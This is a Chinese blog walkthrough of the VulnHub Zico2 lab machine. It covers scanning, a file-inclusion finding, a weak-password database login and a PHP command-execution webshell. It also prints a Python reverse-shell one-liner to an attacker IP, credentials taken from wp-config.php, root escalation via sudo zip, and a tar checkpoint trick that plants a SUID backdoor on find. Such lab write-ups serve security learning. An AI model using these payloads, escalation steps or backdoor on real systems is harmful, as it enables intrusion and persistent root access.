• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-zico2通关教程

不解释了这台靶机非常的简单,我们发现靶机为161。

nmap 192.168.135.0/24 -sP

我们发现开放22/80/111

nmap 192.168.135.161

我们做全端口扫描

nmap 192.168.135.161 -p- -A

下载Linux64位xray

生成ca证书

./xray_linux_amd64 genca

浏览器导入CA证书,并在foxyproxy设置代理让流量走xray

这里我们发现直接运行xray

./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --html-output proxy.html

如果生成的文件浏览器访问打不开,说明是权限问题,查看发现root:root,必须为kali:kail

chown kali:kali proxy.html

XRAY的魅力出现了。直接有现成的payload使用,不过这里还是要手工测试一下,毕竟我们平时用不了那么多上级目录。。。

成功读取用户信息/etc/passwd

我们扫到数据库的登录框。

Dirb http://192.168.135.161

这里直接弱口令admin直接登录成功啊。。哈哈登录进去才发现上次打来留下yang表连接shell

我们在create new database处创建一个yang,name1/number1 go

进来后fleld1/type text default value 写GET方式的命令执行木马

"<?php echo system($_GET["cmd"]); ?>"

访问database的目录,按照命令执行的规则运行想要运行的命令发现成功出现

既然命令执行成功了,我们直接反弹一个shell回来

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.135.155",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

此时的shell完整了但是还不稳定,根据提示我们还没有设置环境变量,那么多次打靶了,我们轻车熟路>_<

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

Stty raw -echo; fg

Export TERM=xterm-256color

这里我们来到shell时应该使用脚本linpeas.sh来枚举信息,但是如果你没有就直接简单的手工枚举提权途径。我们看到内核可以利用,sudo用不了,mysql只支持本地运行访问,而且不是root权限运行,udf也走不了。。。其实我们还可以找SUID位,但是图太大懒得截图了。。。

Uname -a

Sudo -V

Sudo -l

Ps -aux | grep mysql

Ss -plunt | grep 3306

还可以试试SUID

Find / -perm -4000 2>/dev/null

好像能截完>_<

看见没,这里我们也可以肉眼识别指纹CMS哈哈哈,wordpress也是老演员了,我们看看有没有config.php泄露密码直接登录zico

哎,这样的话那就简单了

Cat wp-config.php

Zico/sWfCsfJSPV9H3AmQzw8

这里我直接搞稳定shell了

Stty raw -echo; fg

Export TERM=xterm-256color

不对,获得的就是稳定shell了,没事再敲一遍命令罢了。。。

这里我推荐用sudo提权啊,毕竟我看别人的帖子说exp容易崩溃。。。

这里我直接用创建一个临时文件名,存到变量 TF,用 root 身份,把/etc/hosts压缩到临时压缩包

-T:zip 参数,测试压缩包完整性

-TT 'sh #':-TT 用来指定测试时执行的外部命令

zip 在校验压缩包的时候,会执行你给的sh

因为前面加了sudo,这条sh就是root 权限

# 是 shell 注释,把 zip 后面多余的参数注释掉,避免报错

TF=$(mktemp -u)

sudo zip $TF /etc/hosts -T -TT 'sh #'

这里我们发现find没有设置suid我们可以留个后门,两种方式提权。tar 的--checkpoint-action可以以 root 身份执行任意命令。

用 tar 执行脚本,给 /usr/bin/find 加上SUID位u+s

SUID 程序执行时,进程身份自动变成文件所有者root

之后普通用户直接跑 find -exec sh,直接拿root shell

cd /tmp

echo "chmod u+s /usr/bin/find" > shell.sh

echo "" > "--checkpoint-action=exec=sh shell.sh"

echo "" > --checkpoint=1

sudo tar cf archive.tar *

创建完成确认find命令是否成功被赋予setuid权限:

find / -perm -4000 2>/dev/null | grep find

执行find命令开始提权

find /tmp -exec sh -i \;

这台靶机很简单啊。我们利用xray发现了有文件包含漏洞,我们发现数据库我们写入一句话木马执行命令,得到了网站的shell,我们发现下面存在zico用户,我们利用wordpress的特性,再wp-config.php找到的zico的账号密码,登录了他的shell。我们发现zico可以执行sudo zip提权。利用sudozip获得反弹shell拿到root。我们也可以利用tar来留个后门,这样每次登录zico都可以利用find获得root权限shell。

posted on 2026-10-19 00:17  驿般般  阅读(5)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3